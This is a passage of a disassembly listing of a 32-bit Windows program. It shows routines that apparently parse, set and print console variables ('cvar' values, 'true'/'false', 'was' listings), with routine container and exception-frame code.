		pop	ebp
		retn
sub_40B070	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0B1	proc near		; DATA XREF: ___:00440224o
		mov	eax, offset loc_40B09E
		retn
sub_40B0B1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B0E0	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B122
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_4021B2
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B122:				; CODE XREF: sub_40B0E0+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B0E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B150	proc near		; CODE XREF: sub_401DE3j

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B172
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B172:				; CODE XREF: sub_40B150+6j
		pop	ecx
		retn
sub_40B150	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B190	proc near		; CODE XREF: sub_401A00j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B190
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401753
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401C08
sub_40B190	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43F020
		call	sub_401C03
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B250	proc near		; CODE XREF: sub_401AFAj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B250
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43F020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401C03
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40155F
sub_40B250	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B2F0	proc near		; CODE XREF: sub_4017F8j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401C03
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40B2F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B470	proc near		; CODE XREF: sub_40181Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FDC
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FDC
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F50
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FDC
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401915
sub_40B470	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B510	proc near		; CODE XREF: sub_401B72j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401870
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401870
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401870
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40181B
sub_40B510	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B600	proc near		; CODE XREF: sub_4019DDj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401546
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40145B
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B681
		mov	edi, [esp+10h+arg_0]


loc_40B646:				; CODE XREF: sub_40B600+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021D0
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B68B
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B646


loc_40B681:				; CODE XREF: sub_40B600+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B68B:				; CODE XREF: sub_40B600+60j
		call	sub_401F78
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B6D0:				; CODE XREF: ___:00401460j
		push	0FFFFFFFFh
		push	offset loc_439EF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401870
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019DD
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B760	proc near		; CODE XREF: sub_4015A0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B7B1
		mov	byte ptr [esi+19h], 1


loc_40B7B1:				; CODE XREF: sub_40B760+4Bj
		pop	esi
		retn	8
sub_40B760	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B7E0	proc near		; CODE XREF: sub_401F50j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015E1
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	near ptr 77C1CF90h
		nop
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B835
		mov	byte ptr [esi+19h], 1


loc_40B835:				; CODE XREF: sub_40B7E0+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B7E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: ___:00401D57j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		fld	dword ptr [esp+10h]
		fcomp	flt_43F024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B8C1
		mov	byte ptr [esi+19h], 1


loc_40B8C1:				; CODE XREF: ___:0040B8BBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8F0:				; CODE XREF: ___:00401CA8j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B920
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015E1
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B920:				; CODE XREF: ___:0040B8F8j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015E1
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B960:				; CODE XREF: ___:00401D7Fj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4447F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B990
		mov	byte ptr [esi+19h], 1


loc_40B990:				; CODE XREF: ___:0040B98Aj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B9B0:				; CODE XREF: ___:loc_401AE1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_439F30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BAF2
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_401546
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BAEB


loc_40BA56:				; CODE XREF: ___:0040BAE5j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F78
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F78
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017EE
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2841E5Ch
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C85
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40BA56


loc_40BAEB:				; CODE XREF: ___:0040BA50j
		mov	al, 1
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BAF2:				; CODE XREF: ___:0040B9E7j
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BB85
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		jmp	loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BB85:				; CODE XREF: ___:0040BB04j
		lea	ecx, [ebp+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BC78
		push	offset asc_444600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019DD
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BC78
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014D3
		mov	ebx, 2
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F50
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017EE
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BC7A
; ---------------------------------------------------------------------------


loc_40BC78:				; CODE XREF: ___:0040BB40j
					; ___:0040BB97j ...
		xor	al, al


loc_40BC7A:				; CODE XREF: ___:0040BAEDj
					; ___:0040BB80j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD50	proc near		; CODE XREF: sub_401C08j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021EE
sub_40BD50	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_40155Fj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FEB
sub_40BD90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE00	proc near		; CODE XREF: sub_40145Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4014B0
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_40BE00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401C85j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE70	proc near		; CODE XREF: sub_401915j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C85
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C5D
sub_40BE70	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BEB0	proc near		; CODE XREF: sub_401C03j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C85
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BEB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF00	proc near		; CODE XREF: sub_401546j
		push	esi
		mov	esi, ecx
		call	sub_402158
		mov	eax, esi
		pop	esi
		retn
sub_40BF00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF20	proc near		; CODE XREF: sub_401F78j
		mov	eax, [ecx]
		push	eax
		call	sub_401848
		add	esp, 4
		retn
sub_40BF20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_402117
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF70	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CFD
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BF70	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFA0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016AE
		mov	edi, eax
		push	edi
		call	sub_40215D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021EE
sub_40BFA0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40215D
		push	edi
		mov	[eax], ebx
		call	sub_40215D
		mov	edi, [eax]
		push	edi
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401848
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F32
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4014B0
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
